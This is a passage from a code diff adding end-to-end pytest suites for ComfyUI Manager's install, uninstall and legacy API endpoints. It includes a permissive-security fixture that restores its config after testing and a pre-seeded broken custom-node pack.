||||
"""Populate cache, start ComfyUI, stop after all tests."""
|
||||
_remove_pack(PACK_TEST1)
|
||||
_ensure_cache()
|
||||
pid = _start_comfyui()
|
||||
yield pid
|
||||
_stop_comfyui()
|
||||
_remove_pack(PACK_TEST1)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tests: nightly (URL) install via Manager API → git_helper.py subprocess
|
||||
#
|
||||
# Single sequential test to avoid autouse cleanup races. The task queue
|
||||
# is async so we poll for completion between steps.
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
_INSTALL_PARAMS = {
|
||||
"id": PACK_TEST1,
|
||||
"selected_version": "nightly",
|
||||
"mode": "remote",
|
||||
"channel": "default",
|
||||
"repository": REPO_TEST1,
|
||||
"version": "1.0.0",
|
||||
}
|
||||
|
||||
|
||||
class TestNightlyInstallCycle:
|
||||
"""Full nightly install/verify/uninstall cycle in one test class.
|
||||
|
||||
Tests MUST run in order (install → verify → uninstall). pytest preserves
|
||||
method definition order within a class.
|
||||
"""
|
||||
|
||||
def test_01_nightly_install(self, comfyui):
|
||||
"""Nightly install should git-clone the requested repo AND .git/config remote.origin.url matches.
|
||||
|
||||
WI-N strengthening: previously only `pack_exists + .git/ dir`. The
|
||||
`.git/` directory alone proves *some* git artifact exists but NOT
|
||||
that the clone targeted the requested URL — a regression where the
|
||||
manager clones the wrong repo (or a cached stale one) would still
|
||||
pass the old test. We now parse `.git/config` and assert the
|
||||
`[remote "origin"] url = ...` line matches REPO_TEST1 (with or
|
||||
without `.git` suffix — git accepts both forms).
|
||||
"""
|
||||
_remove_pack(PACK_TEST1)
|
||||
assert not _pack_exists(PACK_TEST1), (
|
||||
f"Failed to clean {PACK_TEST1} — file locks may be holding the directory"
|
||||
)
|
||||
|
||||
_queue_task({
|
||||
"ui_id": "e2e-nightly-install",
|
||||
"client_id": "e2e-nightly",
|
||||
"kind": "install",
|
||||
"params": _INSTALL_PARAMS,
|
||||
})
|
||||
|
||||
assert _wait_for(lambda: _pack_exists(PACK_TEST1)), (
|
||||
f"{PACK_TEST1} not cloned within {POLL_TIMEOUT}s"
|
||||
)
|
||||
|
||||
# Verify .git directory exists (git clone, not zip download)
|
||||
pack_dir = os.path.join(CUSTOM_NODES, PACK_TEST1)
|
||||
git_dir = os.path.join(pack_dir, ".git")
|
||||
assert os.path.isdir(git_dir), "No .git directory — not a git clone"
|
||||
|
||||
# Parse .git/config for [remote "origin"] url and cross-check against
|
||||
# the requested repo URL. Git stores either `REPO` or `REPO.git`.
|
||||
git_config = os.path.join(git_dir, "config")
|
||||
assert os.path.isfile(git_config), (
|
||||
f".git/config missing at {git_config} — corrupted clone?"
|
||||
)
|
||||
import configparser
|
||||
cp = configparser.ConfigParser()
|
||||
cp.read(git_config)
|
||||
origin_section = 'remote "origin"'
|
||||
assert origin_section in cp, (
|
||||
f"[{origin_section}] section missing from .git/config: sections={cp.sections()!r}"
|
||||
)
|
||||
remote_url = cp[origin_section].get("url", "").rstrip("/")
|
||||
acceptable = {REPO_TEST1, REPO_TEST1 + ".git", REPO_TEST1.rstrip("/"), REPO_TEST1.rstrip("/") + ".git"}
|
||||
assert remote_url in acceptable or remote_url.rstrip(".git") == REPO_TEST1.rstrip(".git"), (
|
||||
f".git/config remote.origin.url mismatch — expected one of "
|
||||
f"{sorted(acceptable)}, got {remote_url!r}. The clone targeted "
|
||||
f"the wrong repository!"
|
||||
)
|
||||
|
||||
def test_02_no_module_error(self, comfyui):
|
||||
"""Server log must not contain ModuleNotFoundError (Phase 1 regression)."""
|
||||
log_path = os.path.join(E2E_ROOT, "logs", "comfyui.log")
|
||||
if not os.path.isfile(log_path):
|
||||
pytest.skip("Log file not found (server may use different log path)")
|
||||
|
||||
with open(log_path) as f:
|
||||
log = f.read()
|
||||
assert "ModuleNotFoundError" not in log, (
|
||||
"ModuleNotFoundError in server log — git_helper.py import isolation broken"
|
||||
)
|
||||
|
||||
def test_03_nightly_uninstall(self, comfyui):
|
||||
"""Uninstall the nightly-installed pack from disk AND from API installed-index.
|
||||
|
||||
WI-N strengthening: previously FS-only. The installed-index API is the
|
||||
authoritative Manager contract; FS-deletion alone is insufficient to
|
||||
call the operation "uninstalled". Cross-check that the pack key is
|
||||
absent from `/v2/customnode/installed` response.
|
||||
"""
|
||||
if not _pack_exists(PACK_TEST1):
|
||||
pytest.skip("Pack not installed (previous test may have failed)")
|
||||
|
||||
_queue_task({
|
||||
"ui_id": "e2e-nightly-uninst",
|
||||
"client_id": "e2e-nightly",
|
||||
"kind": "uninstall",
|
||||
"params": {
|
||||
"node_name": PACK_TEST1,
|
||||
},
|
||||
})
|
||||
assert _wait_for(lambda: not _pack_exists(PACK_TEST1)), (
|
||||
f"{PACK_TEST1} still exists after uninstall ({POLL_TIMEOUT}s timeout)"
|
||||
)
|
||||
|
||||
# API cross-check: pack must be absent from /v2/customnode/installed.
|
||||
# Nightly packs appear keyed by directory name (no cnr_id for git-URL installs),
|
||||
# so membership check uses the pack's dir name.
|
||||
resp = requests.get(f"{BASE_URL}/v2/customnode/installed", timeout=10)
|
||||
resp.raise_for_status()
|
||||
installed = resp.json()
|
||||
assert PACK_TEST1 not in installed, (
|
||||
f"FS delete succeeded but {PACK_TEST1!r} still present in "
|
||||
f"/v2/customnode/installed — cache-invalidation regression. "
|
||||
f"Keys: {list(installed.keys())}"
|
||||
)
|
||||
# Defensive: also check by aux_id / cnr_id in case of schema variation.
|
||||
for pkg_key, pkg in installed.items():
|
||||
if isinstance(pkg, dict):
|
||||
assert (
|
||||
pkg.get("cnr_id") != PACK_TEST1
|
||||
and pkg.get("aux_id") != PACK_TEST1
|
||||
), (
|
||||
f"Installed entry {pkg_key!r} still references {PACK_TEST1!r} "
|
||||
f"via cnr_id/aux_id: {pkg!r}"
|
||||
)
|
||||
@@ -0,0 +1,308 @@
|
||||
"""E2E positive-path tests for legacy-only GET endpoints.
|
||||
|
||||
SCOPE — closes the 6 pytest-N gaps from reports/api-coverage-matrix.md
|
||||
(WI-TT). Each target endpoint is registered ONLY in
|
||||
`comfyui_manager/legacy/manager_server.py` and thus reachable only when
|
||||
ComfyUI runs with `--enable-manager-legacy-ui`.
|
||||
|
||||
Endpoints covered:
|
||||
- GET /customnode/alternatives (legacy L1072)
|
||||
- GET /v2/customnode/disabled_versions/{node_name} (legacy L1273)
|
||||
- GET /v2/customnode/getlist (legacy L1018)
|
||||
- GET /v2/customnode/versions/{node_name} (legacy L1262)
|
||||
- GET /v2/externalmodel/getlist (legacy L1143)
|
||||
- GET /v2/manager/notice (legacy L1747)
|
||||
|
||||
Why a separate file:
|
||||
comfyui_manager/__init__.py loads `glob.manager_server` XOR
|
||||
`legacy.manager_server` (mutex via args.enable_manager_legacy_ui), so
|
||||
these routes do not exist under the glob-mode fixture used by most
|
||||
other E2E suites. Mirrors the fixture pattern in
|
||||
`test_e2e_csrf_legacy.py` — separate module-scoped `comfyui_legacy`
|
||||
fixture that launches via `start_comfyui_legacy.sh`.
|
||||
|
||||
Handler-shape notes (for reviewers):
|
||||
- disabled_versions returns HTTP 400 when the given node has NO
|
||||
disabled versions (handler L1283-1286). This is not a param-validation
|
||||
error — it is the handler's convention for "empty result". The seed
|
||||
E2E pack (`ComfyUI_SigmoidOffsetScheduler`) installs cleanly with no
|
||||
disabled versions, so the positive path here asserts the endpoint is
|
||||
reachable and the param parses — status ∈ {200, 400} with per-branch
|
||||
body schema checks. Documented upstream as a handler design quirk.
|
||||
- notice returns `text/html` (not JSON); handler L1787 returns
|
||||
`web.Response(text=markdown_content, status=200)`.
|
||||
|
||||
Requires a pre-built E2E environment (from setup_e2e_env.sh).
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
|
||||
import pytest
|
||||
import requests
|
||||
|
||||
E2E_ROOT = os.environ.get("E2E_ROOT", "")
|
||||
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
|
||||
SCRIPTS_DIR = os.path.join(
|
||||
os.path.dirname(os.path.abspath(__file__)), "scripts"
|
||||
)
|
||||
|
||||
PORT = 8199
|
||||
BASE_URL = f"http://127.0.0.1:{PORT}"
|
||||
|
||||
SEED_PACK = "ComfyUI_SigmoidOffsetScheduler"
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
not E2E_ROOT
|
||||
or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
|
||||
reason="E2E_ROOT not set or E2E environment not ready",
|
||||
)
|
||||
|
||||
|
||||
def _start_comfyui_legacy() -> int:
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
r = subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "start_comfyui_legacy.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=180,
|
||||
env=env,
|
||||
)
|
||||
if r.returncode != 0:
|
||||
raise RuntimeError(f"Failed to start ComfyUI (legacy):\n{r.stderr}")
|
||||
for part in r.stdout.strip().split():
|
||||
if part.startswith("COMFYUI_PID="):
|
||||
return int(part.split("=")[1])
|
||||
raise RuntimeError(f"Could not parse PID:\n{r.stdout}")
|
||||
|
||||
|
||||
def _stop_comfyui():
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "stop_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=30,
|
||||
env=env,
|
||||
)
|
||||
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def comfyui_legacy():
|
||||
pid = _start_comfyui_legacy()
|
||||
yield pid
|
||||
_stop_comfyui()
|
||||
|
||||
|
||||
class TestLegacyCustomNodeAlternatives:
|
||||
"""GET /customnode/alternatives?mode=local (wi-031)."""
|
||||
|
||||
def test_returns_dict_of_alternatives(self, comfyui_legacy):
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/customnode/alternatives",
|
||||
params={"mode": "local"},
|
||||
timeout=30,
|
||||
)
|
||||
assert resp.status_code == 200, (
|
||||
f"Expected 200, got {resp.status_code}: {resp.text[:200]}"
|
||||
)
|
||||
data = resp.json()
|
||||
assert isinstance(data, dict), (
|
||||
f"alternatives response should be a dict keyed by unified id, "
|
||||
f"got {type(data).__name__}"
|
||||
)
|
||||
|
||||
|
||||
class TestLegacyCustomNodeDisabledVersions:
|
||||
"""GET /v2/customnode/disabled_versions/{node_name} (wi-032).
|
||||
|
||||
The handler returns 200 + list[{version}] when disabled versions exist,
|
||||
and 400 otherwise (empty-result convention — not a validation error).
|
||||
Seed pack has no disabled versions, so positive path here is:
|
||||
endpoint reachable + param parsed correctly + response-shape on each
|
||||
branch.
|
||||
"""
|
||||
|
||||
def test_endpoint_reachable_and_parses_param(self, comfyui_legacy):
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/customnode/disabled_versions/{SEED_PACK}",
|
||||
timeout=10,
|
||||
)
|
||||
assert resp.status_code in (200, 400), (
|
||||
f"disabled_versions should return 200 (has disabled) or 400 "
|
||||
f"(none), got {resp.status_code}: {resp.text[:200]}"
|
||||
)
|
||||
if resp.status_code == 200:
|
||||
data = resp.json()
|
||||
assert isinstance(data, list), (
|
||||
f"disabled_versions 200 body should be a list, "
|
||||
f"got {type(data).__name__}"
|
||||
)
|
||||
for entry in data:
|
||||
assert "version" in entry, (
|
||||
f"each entry should have 'version' key, got {entry!r}"
|
||||
)
|
||||
|
||||
|
||||
class TestLegacyCustomNodeGetList:
|
||||
"""GET /v2/customnode/getlist?mode=local (wi-033)."""
|
||||
|
||||
def test_returns_channel_and_node_packs(self, comfyui_legacy):
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/customnode/getlist",
|
||||
params={"mode": "local", "skip_update": "true"},
|
||||
timeout=60,
|
||||
)
|
||||
assert resp.status_code == 200, (
|
||||
f"Expected 200, got {resp.status_code}: {resp.text[:200]}"
|
||||
)
|
||||
data = resp.json()
|
||||
assert isinstance(data, dict), (
|
||||
f"getlist response should be a dict, got {type(data).__name__}"
|
||||
)
|
||||
assert "channel" in data, (
|
||||
f"getlist response missing 'channel' field: keys={list(data)}"
|
||||
)
|
||||
assert "node_packs" in data, (
|
||||
f"getlist response missing 'node_packs' field: keys={list(data)}"
|
||||
)
|
||||
assert isinstance(data["node_packs"], dict), (
|
||||
f"node_packs should be a dict, got {type(data['node_packs']).__name__}"
|
||||
)
|
||||
|
||||
|
||||
class TestLegacyCustomNodeVersions:
|
||||
"""GET /v2/customnode/versions/{node_name} (wi-034).
|
||||
|
||||
The seed pack is a CNR pack and should have at least one version.
|
||||
"""
|
||||
|
||||
def test_returns_versions_list_for_seed_pack(self, comfyui_legacy):
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/customnode/versions/{SEED_PACK}",
|
||||
timeout=15,
|
||||
)
|
||||
assert resp.status_code == 200, (
|
||||
f"Expected 200 for known CNR pack {SEED_PACK!r}, "
|
||||
f"got {resp.status_code}: {resp.text[:200]}"
|
||||
)
|
||||
data = resp.json()
|
||||
assert isinstance(data, list), (
|
||||
f"versions response should be a list, got {type(data).__name__}"
|
||||
)
|
||||
assert len(data) > 0, (
|
||||
f"CNR pack {SEED_PACK!r} should report at least one version, "
|
||||
f"got empty list"
|
||||
)
|
||||
|
||||
|
||||
class TestLegacyExternalModelGetList:
|
||||
"""GET /v2/externalmodel/getlist?mode=local (wi-035)."""
|
||||
|
||||
def test_returns_models_payload(self, comfyui_legacy):
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/externalmodel/getlist",
|
||||
params={"mode": "local"},
|
||||
timeout=30,
|
||||
)
|
||||
assert resp.status_code == 200, (
|
||||
f"Expected 200, got {resp.status_code}: {resp.text[:200]}"
|
||||
)
|
||||
data = resp.json()
|
||||
assert isinstance(data, dict), (
|
||||
f"externalmodel/getlist should return a dict, "
|
||||
f"got {type(data).__name__}"
|
||||
)
|
||||
assert "models" in data, (
|
||||
f"externalmodel/getlist missing 'models' field: keys={list(data)}"
|
||||
)
|
||||
assert isinstance(data["models"], list), (
|
||||
f"'models' should be a list, got {type(data['models']).__name__}"
|
||||
)
|
||||
|
||||
|
||||
class TestLegacyManagerNotice:
|
||||
"""GET /v2/manager/notice (wi-036).
|
||||
|
||||
Returns text/html (not JSON) — handler concatenates markdown fragments
|
||||
or a fallback 'Unable to retrieve Notice' string. Both branches return
|
||||
HTTP 200, so the positive-path assertion is status + non-empty body.
|
||||
"""
|
||||
|
||||
def test_returns_text_body(self, comfyui_legacy):
|
||||
resp = requests.get(f"{BASE_URL}/v2/manager/notice", timeout=30)
|
||||
assert resp.status_code == 200, (
|
||||
f"Expected 200, got {resp.status_code}: {resp.text[:200]}"
|
||||
)
|
||||
assert resp.text, "notice body should be non-empty (markdown or fallback)"
|
||||
|
||||
|
||||
class TestLegacyQueueBatch:
|
||||
"""POST /v2/manager/queue/batch (wi-039).
|
||||
|
||||
Handler shape (legacy/manager_server.py:740-801):
|
||||
- Request: JSON dict whose top-level keys select actions —
|
||||
update_all | reinstall | install | uninstall | update |
|
||||
update_comfyui | disable | install_model | fix.
|
||||
Unrecognized keys are silently skipped (no-match falls through
|
||||
the if/elif chain).
|
||||
- Response: always `{"failed": [list of failed ids]}`, status 200.
|
||||
- Side effect: `finalize_temp_queue_batch(json_data, failed)` writes
|
||||
a batch snapshot to the history store IFF the action helpers
|
||||
populated `temp_queue_batch`. With an empty or unrecognized-key
|
||||
payload, `temp_queue_batch` stays empty and no history is written
|
||||
(guard: `if len(temp_queue_batch):` at L444).
|
||||
- `_queue_start()` is called unconditionally to nudge the worker.
|
||||
|
||||
Safe-payload choice: empty JSON body `{}`. Rationale —
|
||||
(a) exercises the full handler path (request parse → action
|
||||
for-loop no-op → finalize-with-empty → queue_start → 200 json),
|
||||
(b) leaves zero side effects on installed packs / disk state,
|
||||
(c) still round-trips through the aiohttp handler lock and
|
||||
`temp_queue_batch` snapshot guard so a future regression
|
||||
(e.g., unconditional history write, lock deadlock) would be
|
||||
caught.
|
||||
The dispatch's side-effect verification is covered indirectly: the
|
||||
test asserts queue/status is still 200 after POST, proving the lock
|
||||
released and the worker nudge completed cleanly. History-growth
|
||||
verification would require an expensive mutating batch, which the
|
||||
dispatch explicitly discourages.
|
||||
"""
|
||||
|
||||
def test_accepts_empty_payload_returns_failed_list(self, comfyui_legacy):
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/manager/queue/batch",
|
||||
json={},
|
||||
timeout=15,
|
||||
)
|
||||
assert resp.status_code == 200, (
|
||||
f"Expected 200 for empty-batch payload, got "
|
||||
f"{resp.status_code}: {resp.text[:200]}"
|
||||
)
|
||||
data = resp.json()
|
||||
assert isinstance(data, dict), (
|
||||
f"queue/batch response should be a dict, "
|
||||
f"got {type(data).__name__}"
|
||||
)
|
||||
assert "failed" in data, (
|
||||
f"queue/batch response missing 'failed' key: {data!r}"
|
||||
)
|
||||
assert isinstance(data["failed"], list), (
|
||||
f"'failed' should be a list, got {type(data['failed']).__name__}"
|
||||
)
|
||||
assert data["failed"] == [], (
|
||||
f"no actions performed → 'failed' should be empty, "
|
||||
f"got {data['failed']!r}"
|
||||
)
|
||||
|
||||
# Side-effect liveness check: queue/status still 200 after POST,
|
||||
# proving the worker lock was released cleanly.
|
||||
status_resp = requests.get(
|
||||
f"{BASE_URL}/v2/manager/queue/status", timeout=10
|
||||
)
|
||||
assert status_resp.status_code == 200, (
|
||||
f"queue/status should remain callable after queue/batch POST, "
|
||||
f"got {status_resp.status_code}: {status_resp.text[:200]}"
|
||||
)
|
||||
@@ -0,0 +1,696 @@
|
||||
"""E2E REAL-execution tests for legacy-UI state-changing endpoints (WI-YY).
|
||||
|
||||
SCOPE — closes 6 Playwright-mock gaps by executing the real backend
|
||||
operation via HTTP:
|
||||
Default-security fixture (middle+ / no-gate endpoints):
|
||||
- wi-020 POST /v2/manager/queue/install_model (tiny TAEF1 model, <5MB)
|
||||
- wi-024 POST /v2/manager/queue/update_comfyui (safe via env var)
|
||||
Permissive-security fixture (normal- + dedicated install flags):
|
||||
- wi-014 POST /v2/comfyui_manager/comfyui_switch_version (no-op self-switch;
|
||||
high+ gate, opened by security_level = normal-)
|
||||
- wi-037 POST /v2/customnode/install/git_url (nodepack-test1-do-not-install;
|
||||
gated by allow_git_url_install — goal265 / #2962)
|
||||
- wi-038 POST /v2/customnode/install/pip (text-unidecode;
|
||||
gated by allow_pip_install — goal265 / #2962)
|
||||
Pre-seeded broken-pack fixture (no-gate endpoint, needs scan-time state):
|
||||
- wi-015 POST /v2/customnode/import_fail_info (pre-seeded broken pack)
|
||||
|
||||
Safety belt — COMFYUI_MANAGER_SKIP_MANAGER_REQUIREMENTS=1 is exported in
|
||||
tests/e2e/scripts/start_comfyui.sh (WI-YY change). Any install/update path
|
||||
that would normally run `pip install -r manager_requirements.txt` becomes
|
||||
a no-op log line — essential for WI-YY real E2E: without this, triggering
|
||||
the update_comfyui queue worker could run unbounded pip installs against
|
||||
the test venv.
|
||||
|
||||
Permissive harness security rationale:
|
||||
wi-014/037/038 execute arbitrary remote code (version switch, git
|
||||
clone, pip install) and are gated precisely to prevent such
|
||||
operations at default config — wi-014 at `high+` (security_level),
|
||||
wi-037/038 by the dedicated `allow_git_url_install` /
|
||||
`allow_pip_install` flags (goal265 / #2962, independent of
|
||||
security_level, default false). The permissive harness
|
||||
(start_comfyui_permissive.sh) reflects the production use case
|
||||
these endpoints exist to serve — operators in a trusted environment
|
||||
set security_level = normal- and opt in via the flags to enable
|
||||
these features. The 200 path IS a supported feature, and testing it
|
||||
requires exactly this configuration. Permissive harness uses
|
||||
HARDCODED trusted inputs:
|
||||
- wi-014: the CURRENT ComfyUI version (self-switch no-op)
|
||||
- wi-037: https://github.com/ltdrdata/nodepack-test1-do-not-install
|
||||
(project's test-fixture repo, also used by tests/cli/test_uv_compile.py)
|
||||
- wi-038: text-unidecode (pure-Python, ~8KB, idempotent)
|
||||
User-input-derived values MUST NEVER be substituted. The 403 contract
|
||||
at default security remains the positive-path security behavior in
|
||||
production — verified by test_e2e_csrf_legacy.py and
|
||||
test_e2e_secgate_default.py.
|
||||
|
||||
WI-YY.3 (wi-015) real-E2E strategy:
|
||||
The import_fail_info endpoint returns info for packs that failed to
|
||||
import during the ComfyUI custom_nodes/ startup scan. To exercise
|
||||
the 200 path with real state, we pre-seed a known-broken pack via
|
||||
git clone (skip pip install). On server start, the scan attempts
|
||||
to import the pack, it fails, prestartup_script.py L302-305
|
||||
captures the stderr traceback into
|
||||
cm_global.error_dict[<module_name>], and the pack is registered
|
||||
in core.unified_manager (manager_core.py:541-561).
|
||||
|
||||
Pack selection: ComfyUI-YoloWorld-EfficientSAM — user-suggested.
|
||||
Its production failure mode is that requirements.txt pins
|
||||
UNINSTALLABLE packages (unresolvable versions / removed-from-index
|
||||
/ etc), so even the normal install flow
|
||||
(`/v2/customnode/install/git_url` → gitclone_install → pip install
|
||||
-r requirements.txt) leaves the pack dir present but dependencies
|
||||
unsatisfied → scan import fails → the exact state this endpoint
|
||||
is meant to report on. The pre-seed fixture (git clone, skip pip)
|
||||
reproduces the END STATE that the production install path reaches
|
||||
after pip-failure, without the cost and non-determinism of running
|
||||
the failing pip. This is NOT "missing deps we chose not to
|
||||
install" — it is the genuine production failure mode packaged as
|
||||
a deterministic fixture. Tiny clone (few KB of Python).
|
||||
|
||||
Requires a pre-built E2E environment (from setup_e2e_env.sh).
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
import pytest
|
||||
import requests
|
||||
|
||||
E2E_ROOT = os.environ.get("E2E_ROOT", "")
|
||||
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
|
||||
SCRIPTS_DIR = os.path.join(
|
||||
os.path.dirname(os.path.abspath(__file__)), "scripts"
|
||||
)
|
||||
|
||||
PORT = 8199
|
||||
BASE_URL = f"http://127.0.0.1:{PORT}"
|
||||
|
||||
# Small, well-known VAE-approx model from the whitelist (verified via
|
||||
# GET /v2/externalmodel/getlist?mode=cache — 4.71MB, public raw URL).
|
||||
# Selected for minimal download time + deterministic whitelist membership.
|
||||
TAEF1_MODEL_SPEC = {
|
||||
"name": "TAEF1 Decoder",
|
||||
"type": "TAESD",
|
||||
"base": "FLUX.1",
|
||||
"save_path": "vae_approx",
|
||||
"description": "WI-YY real-E2E install — TAEF1 decoder",
|
||||
"reference": "https://github.com/madebyollin/taesd",
|
||||
"filename": "taef1_decoder.pth",
|
||||
"url": "https://github.com/madebyollin/taesd/raw/main/taef1_decoder.pth",
|
||||
}
|
||||
|
||||
# HARDCODED TRUSTED INPUTS for the permissive-harness suite.
|
||||
# Never substitute user-derived values — these constants exist to test
|
||||
# the supported 200-path of features the operator explicitly enables by
|
||||
# lowering security_level to normal-.
|
||||
# TRUSTED_GIT_URL: same purpose-built test fixture used by
|
||||
# tests/cli/test_uv_compile.py (REPO_TEST1 at L41). The 'do-not-install'
|
||||
# suffix in the repo name is the project's convention for
|
||||
# test-fixture-only packs — safe to install and delete repeatedly in E2E.
|
||||
TRUSTED_GIT_URL = "https://github.com/ltdrdata/nodepack-test1-do-not-install"
|
||||
TRUSTED_GIT_DIRNAME = "nodepack-test1-do-not-install"
|
||||
TRUSTED_PIP_PKG = "text-unidecode" # pure-Python, ~8KB, idempotent
|
||||
|
||||
# Broken-pack pre-seed target for wi-015 real E2E.
|
||||
# User-suggested: ZHO-ZHO-ZHO/ComfyUI-YoloWorld-EfficientSAM. In
|
||||
# production, this pack's requirements.txt pins uninstallable
|
||||
# packages, so gitclone_install → pip install -r leaves the pack dir
|
||||
# present but deps unsatisfied. Our pre-seed (git clone, skip pip)
|
||||
# reproduces that END STATE deterministically — see module docstring
|
||||
# §"WI-YY.3 (wi-015) real-E2E strategy".
|
||||
BROKEN_PACK_URL = "https://github.com/ZHO-ZHO-ZHO/ComfyUI-YoloWorld-EfficientSAM"
|
||||
BROKEN_PACK_DIRNAME = "ComfyUI-YoloWorld-EfficientSAM"
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
not E2E_ROOT
|
||||
or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
|
||||
reason="E2E_ROOT not set or E2E environment not ready",
|
||||
)
|
||||
|
||||
|
||||
def _start_comfyui_legacy() -> int:
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
r = subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "start_comfyui_legacy.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=180,
|
||||
env=env,
|
||||
)
|
||||
if r.returncode != 0:
|
||||
raise RuntimeError(f"Failed to start ComfyUI (legacy):\n{r.stderr}")
|
||||
for part in r.stdout.strip().split():
|
||||
if part.startswith("COMFYUI_PID="):
|
||||
return int(part.split("=")[1])
|
||||
raise RuntimeError(f"Could not parse PID:\n{r.stdout}")
|
||||
|
||||
|
||||
def _stop_comfyui():
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "stop_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=30,
|
||||
env=env,
|
||||
)
|
||||
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def comfyui_legacy():
|
||||
pid = _start_comfyui_legacy()
|
||||
yield pid
|
||||
_stop_comfyui()
|
||||
|
||||
|
||||
def _start_comfyui_permissive() -> int:
|
||||
"""Launch via start_comfyui_permissive.sh — patches config.ini to
|
||||
`security_level = normal-` plus `allow_git_url_install = true` /
|
||||
`allow_pip_install = true` (backup at config.ini.before-permissive)
|
||||
then delegates to start_comfyui.sh with ENABLE_LEGACY_UI=1.
|
||||
The permissive fixture MUST restore config on teardown.
|
||||
"""
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
r = subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "start_comfyui_permissive.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=180,
|
||||
env=env,
|
||||
)
|
||||
if r.returncode != 0:
|
||||
raise RuntimeError(f"Failed to start ComfyUI (permissive):\n{r.stderr}")
|
||||
for part in r.stdout.strip().split():
|
||||
if part.startswith("COMFYUI_PID="):
|
||||
return int(part.split("=")[1])
|
||||
raise RuntimeError(f"Could not parse PID:\n{r.stdout}")
|
||||
|
||||
|
||||
def _restore_permissive_config():
|
||||
"""Restore $CONFIG from $CONFIG.before-permissive. Safe to call even
|
||||
if the backup is missing (idempotent). Mirrors the pattern used by
|
||||
test_e2e_secgate_strict.py for the strict harness.
|
||||
"""
|
||||
config = os.path.join(
|
||||
COMFYUI_PATH, "user", "__manager", "config.ini"
|
||||
)
|
||||
backup = config + ".before-permissive"
|
||||
if os.path.isfile(backup):
|
||||
import shutil
|
||||
shutil.move(backup, config)
|
||||
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def comfyui_permissive():
|
||||
"""Module-scoped fixture: start server with security_level=normal- and
|
||||
the dedicated install flags enabled, tear down with config restore.
|
||||
Use for wi-014 (high+ gate: weak/normal- at is_local_mode) and
|
||||
wi-037/038 (allow_git_url_install / allow_pip_install — goal265 / #2962).
|
||||
"""
|
||||
pid = _start_comfyui_permissive()
|
||||
try:
|
||||
yield pid
|
||||
finally:
|
||||
_stop_comfyui()
|
||||
_restore_permissive_config()
|
||||
|
||||
|
||||
def _seed_broken_pack() -> str:
|
||||
"""Pre-seed the broken pack via git clone --depth 1. Returns the
|
||||
absolute path to the cloned directory. pip install is skipped —
|
||||
this reproduces the production end-state where gitclone_install +
|
||||
pip install -r requirements.txt leaves the pack dir in place
|
||||
despite pip failing on uninstallable package pins (see module
|
||||
docstring §"WI-YY.3 real-E2E strategy"). The ImportError at scan
|
||||
time populates cm_global.error_dict (prestartup_script.py:
|
||||
302-305) and registers the pack in unified_manager
|
||||
(manager_core.py:541-561).
|
||||
"""
|
||||
target = os.path.join(COMFYUI_PATH, "custom_nodes", BROKEN_PACK_DIRNAME)
|
||||
if os.path.isdir(target):
|
||||
import shutil
|
||||
shutil.rmtree(target)
|
||||
r = subprocess.run(
|
||||
["git", "clone", "--depth", "1", BROKEN_PACK_URL, target],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=60,
|
||||
)
|
||||
if r.returncode != 0:
|
||||
raise RuntimeError(
|
||||
f"Failed to clone broken-pack seed {BROKEN_PACK_URL!r}: "
|
||||
f"rc={r.returncode} stderr={r.stderr!r}"
|
||||
)
|
||||
assert os.path.isdir(os.path.join(target, ".git")), (
|
||||
f"Clone reported success but {target}/.git missing"
|
||||
)
|
||||
return target
|
||||
|
||||
|
||||
def _remove_broken_pack():
|
||||
target = os.path.join(COMFYUI_PATH, "custom_nodes", BROKEN_PACK_DIRNAME)
|
||||
if os.path.isdir(target):
|
||||
import shutil
|
||||
shutil.rmtree(target, ignore_errors=True)
|
||||
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def comfyui_with_broken_pack():
|
||||
"""Module-scoped fixture: pre-seed a broken pack, start the legacy
|
||||
server so its scan captures the import failure, yield, then stop
|
||||
server + remove the pack.
|
||||
|
||||
Uses the default-security legacy launcher because
|
||||
/v2/customnode/import_fail_info has no security gate
|
||||
(legacy/manager_server.py:1289-1303).
|
||||
"""
|
||||
_seed_broken_pack()
|
||||
try:
|
||||
pid = _start_comfyui_legacy()
|
||||
try:
|
